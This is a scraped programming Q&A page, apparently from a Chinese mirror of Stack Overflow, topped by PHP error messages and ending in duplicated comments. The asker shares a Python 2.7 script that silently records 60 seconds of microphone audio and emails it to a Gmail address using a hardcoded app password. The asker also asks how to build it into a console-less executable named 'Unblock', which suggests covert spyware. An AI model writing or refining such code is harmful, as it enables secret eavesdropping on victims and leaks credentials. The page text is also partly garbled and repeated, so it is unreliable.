Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/317.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/7/python-2.7/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 等待连接到Internet的代码_Python_Python 2.7_Email_Pyinstaller - Fatal编程技术网

Python 等待连接到Internet的代码

Python 等待连接到Internet的代码,python,python-2.7,email,pyinstaller,Python,Python 2.7,Email,Pyinstaller,我有这个python代码 import smtplib import mimetypes from email.mime.multipart import MIMEMultipart from email import encoders from email.message import Message from email.mime.audio import MIMEAudio from email.mime.base import MIMEBase from email.mime.image

我有这个python代码

import smtplib
import mimetypes
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import urllib2
import pyaudio
import wave
import os
import httplib
import urllib2
from time import sleep
import yagmail
import netifaces
import urllib2,thread

check = _check()
thread.start_new_thread(check.timer,(None,))
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 24000
CHUNK = 1024
RECORD_SECONDS = 60
WAVE_OUTPUT_FILENAME = "file.wav"
audio = pyaudio.PyAudio()
stream = audio.open(format=FORMAT, channels=CHANNELS,
rate=RATE, input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
        data = stream.read(CHUNK)
        frames.append(data)
# stop Recording
stream.stop_stream()
stream.close()
audio.terminate()
waveFile = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
waveFile.setnchannels(CHANNELS)
waveFile.setsampwidth(audio.get_sample_size(FORMAT))
waveFile.setframerate(RATE)
waveFile.writeframes(b''.join(frames))
waveFile.close()
emailfrom = "hi@gmail.com"
emailto = "amitaagarwal565@gmail.com"
fileToSend = "file.wav"
username = "amitaagarwal565@gmail.com"
password = "tuduxglywgiczkjl"

msg = MIMEMultipart()
msg["From"] = emailfrom
msg["To"] = emailto
msg["Subject"] = "This is file.wav"
msg.preamble = "This is file.wav"

ctype, encoding = mimetypes.guess_type(fileToSend)
if ctype is None or encoding is not None:
    ctype = "application/octet-stream"

maintype, subtype = ctype.split("/", 1)

if maintype == "text":
    fp = open(fileToSend)
    # Note: we should handle calculating the charset
    attachment = MIMEText(fp.read(), _subtype=subtype)
    fp.close()
elif maintype == "image":
    fp = open(fileToSend, "rb")
    attachment = MIMEImage(fp.read(), _subtype=subtype)
    fp.close()
elif maintype == "audio":
    fp = open(fileToSend, "rb")
    attachment = MIMEAudio(fp.read(), _subtype=subtype)
    fp.close()
else:
    fp = open(fileToSend, "rb")
    attachment = MIMEBase(maintype, subtype)
    attachment.set_payload(fp.read())
    fp.close()
   encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition", "attachment",     filename=fileToSend)
msg.attach(attachment)

server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login(username,password)
server.sendmail(emailfrom, emailto, msg.as_string())
server.quit()
print "done"
它可以录制任何声音60秒并发送到我的电子邮件。但是,如果没有互联网连接,它将无法工作。因此,一个简单的解决方案是等待连接,然后启动脚本。有人能帮我吗。有一些关于这方面的线程,但它们对我来说太高级了,我想了解如何做更多的只是复制/粘贴

注意:我在
64位
机器上使用
32位
python。python版本是
2.7

问候,

编辑:所以我自己想出来了,走了这么远

   (The recording code)
#STart of the figured code
loop_value = 1
while loop_value==1:
    try:
        urllib2.urlopen("https://google.com")
    except urllib2.URLError, e:
        print "Network currently down." 
        sleep(20)
    else:
        print "Up and running." 
        loop_value = 0
#End of the figured code
(Email code below this)
所以像这样,我会得到它是否连接到互联网的准确时间,如果没有,它会在一个循环中,直到它发现它。但是,当我使用pyinstaller将其编译成单个可执行文件时,出现如下致命错误:-

Fatal Error!
Unblock returned -1
请注意,脚本的名称是
Unblock.py
。我用来将其编译成exe的命令是
pyinstaller--onefile--noconsole--icon=icon.ico--version file=version.txt Unblock.py


我做错了什么?

我建议您按照以下步骤进行操作。还是仅在internet连接可用后才开始录制?那么你将无法确定录制后它是否仍然可用,因此你将面临与之前相同的问题…@flaschbier Post已更新让我们将事情与其他事情隔离开来。在Pthon解释器中运行时,脚本是否按预期工作?@flaschbier是的,我认为问题在于Pyinstaller。我用py2exe编译,效果很好。然而,我真的希望有人来解决这个问题,因为我更喜欢Pyinstaller而不是Py2Exe。我建议您按照以下步骤进行操作。还是仅在internet连接可用后才开始录制?那么你将无法确定录制后它是否仍然可用,因此你将面临与之前相同的问题…@flaschbier Post已更新让我们将事情与其他事情隔离开来。在Pthon解释器中运行时,脚本是否按预期工作?@flaschbier是的,我认为问题在于Pyinstaller。我用py2exe编译,效果很好。然而,我真的希望有人来解决这个问题,因为我更喜欢Pyinstaller而不是Py2exe